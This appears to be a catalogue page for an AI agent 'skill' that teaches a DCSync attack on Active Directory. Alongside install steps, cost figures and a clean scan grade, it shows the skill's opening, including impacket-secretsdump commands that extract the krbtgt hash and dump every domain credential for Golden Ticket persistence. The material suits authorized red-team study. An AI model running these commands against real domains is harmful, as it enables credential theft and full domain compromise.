Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/active-directory-dcsync-attackWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/active-directory-dcsync-attack)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/active-directory-dcsync-attack"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/active-directory-dcsync-attack/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/active-directory-dcsync-attack"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/active-directory-dcsync-attack.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00075 | $0.02294 |
| Opus 5 | $0.00037 | $0.01147 |
| Sonnet 5 | $0.00015 | $0.00459 |
| Haiku 4.5 | $0.00007 | $0.00229 |
Grade A, and why
active-directory-dcsync-attack scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to active-directory-dcsync-attack — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 179 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Active Directory DCSync Attack
When to Use
- When operating within a compromised Active Directory environment and you have acquired the credentials of a highly-privileged account (e.g., Domain Admin, Enterprise Admin, or a specific Service Account with Directory Replication rights).
- To extract the
krbtgtaccount hash, which is absolutely mandatory for forging Golden Tickets subsequently establishing ultimate domain persistence. - To perform a complete, stealthy domain credential dump without installing malware directly onto the Domain Controller or exporting the physical
NTDS.ditdatabase file.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Validating Prerequisites
# Concept: A standard domain user CANNOT execute a DCSync. The attacking account MUST possess
# three highly specific Access Control Entries (ACEs) granted at the Domain Root level:
# 1. Replicating Directory Changes (DS-Replication-Get-Changes)
# 2. Replicating Directory Changes All (DS-Replication-Get-Changes-All)
# 3. Replicating Directory Changes In Filtered Set
# Default Groups possessing these rights natively:
# - Domain Controllers
# - Enterprise Admins
# - Domain Admins
# - Administrators
Phase 2: Remote DCSync via Impacket (Linux/Kali)
# Concept: You possess a Domain Administrator's NTLM hash or plaintext password.
# You execute the attack remotely from your Kali machine over the network.
# 1. Target a specific high-value account (e.g., the krbtgt account)
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user krbtgt
# 2. Extract the NTLM hash of a specific Domain Admin
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc-user JamesP_Admin
# 3. Dump the entire Active Directory Database (Warning: Extremely Noisy)
impacket-secretsdump 'CORP/Administrator:Password123!'@10.0.0.5 -just-dc
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 7d ago First seen · 179 lines · 75 tokens per session scan A 4952f7fdf0d9
active-directory-dcsync-attack is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (4 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 75 tokens to every session and 2,294 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 0 findings. It is 100% identical to active-directory-dcsync-attack, differing in 0 lines, and is treated as a copy.
Other skills, from other repositories
active-directory-dcsync-attack
Execute a DCSync attack mimicking the behavior of a legitimate Active Directory Domain Controller (DC). Leverage Directory Replication Service Remote Protocol (DRSR) permissions to silently request and extract the password hashes (NTLM/Kerberos) of any or all users in the domain without executing code on the target…
ad-dcsync-attack
Exploit Active Directory replication privileges (DS-Replication-Get-Changes) to perform a DCSync attack, allowing an attacker to impersonate a Domain Controller and extract password hashes (like the krbtgt hash for Golden Tickets) without code execution on a DC.
conducting-domain-persistence-with-dcsync
Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.
conducting-domain-persistence-with-dcsync
Perform DCSync attacks by abusing MS-DRSR replication rights (DS-Replication-Get-Changes/-All) to impersonate a Domain Controller and extract KRBTGT, Domain Admin, and service account hashes for Golden Ticket forging, typically with Mimikatz. Use in authorized engagements after finding principals with replication…
conducting-domain-persistence-with-dcsync
Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.
abusing-dpapi-for-credential-access
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team…